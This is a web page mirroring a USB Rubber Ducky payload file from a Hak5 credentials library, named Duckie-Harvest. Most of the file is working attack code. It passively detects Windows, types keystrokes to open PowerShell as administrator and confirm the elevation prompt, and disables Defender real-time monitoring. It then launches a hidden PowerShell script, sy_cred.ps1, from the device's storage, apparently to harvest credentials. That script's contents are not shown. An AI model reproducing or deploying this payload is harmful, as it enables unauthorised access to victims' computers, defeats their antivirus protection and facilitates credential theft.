Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
 Path: blob/master/payloads/library/credentials/Duckie-Harvest/payload.txt
2968 views
1
ATTACKMODE HID STORAGE

2
EXTENSION PASSIVE_WINDOWS_DETECT

3
    REM VERSION 1.1

4
    REM AUTHOR: Korben

5


6
    REM_BLOCK DOCUMENTATION

7
        Windows fully passive OS Detection and passive Detect Ready

8
        Includes its own passive detect ready.

9
        Does not require additional extensions.

10


11
        USAGE:

12
            Extension runs inline (here)

13
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic

14
            boot delay

15
            $_OS will be set to WINDOWS or NOT_WINDOWS

16
            See end of payload for usage within payload

17
    END_REM

18


19
    REM CONFIGURATION:

20
    DEFINE #MAX_WAIT 150

21
    DEFINE #CHECK_INTERVAL 20

22
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2

23
    DEFINE #NOT_WINDOWS 7

24


25
    $_OS = #NOT_WINDOWS

26


27
    VAR $MAX_TRIES = #MAX_WAIT

28
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))

29
        DELAY #CHECK_INTERVAL

30
        $MAX_TRIES = ($MAX_TRIES - 1)

31
    END_WHILE

32
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN

33
        $_OS = WINDOWS

34
    END_IF

35


36
    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION

37
        IF ($_OS == WINDOWS) THEN

38
            STRING HELLO WINDOWS!

39
        ELSE

40
            STRING HELLO WORLD!

41
        END_IF

42
    END_REM

43
END_EXTENSION

44


45
DEFINE #DUCKY_DRIVER_LABEL DUCKY

46
DEFINE #PS1 sy_cred.ps1

47


48
IF ($_OS == WINDOWS )THEN

49
    

50
    DELAY 200

51
    REM -----open Powershell as Admin

52
    GUI r

53
    DELAY 200

54
    STRING powershell 

55
    CTRL-SHIFT ENTER

56
    DELAY 400

57
    LEFT

58
    DELAY 150

59
    ENTER

60
    DELAY 500

61
    STRINGLN_POWERSHELL

62


63
    $duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq '#DUCKY_DRIVER_LABEL' }).DeviceID;cd $duckletter

64
    Set-MpPreference -DisableRealtimeMonitoring $true

65
    Start-Process powershell.exe -ArgumentList "-NoProfile -WindowStyle Hidden -File #PS1"  -WindowStyle Hidden

66
    exit

67


68
    END_STRINGLN

69


70
    

71


72
END_IF

73


74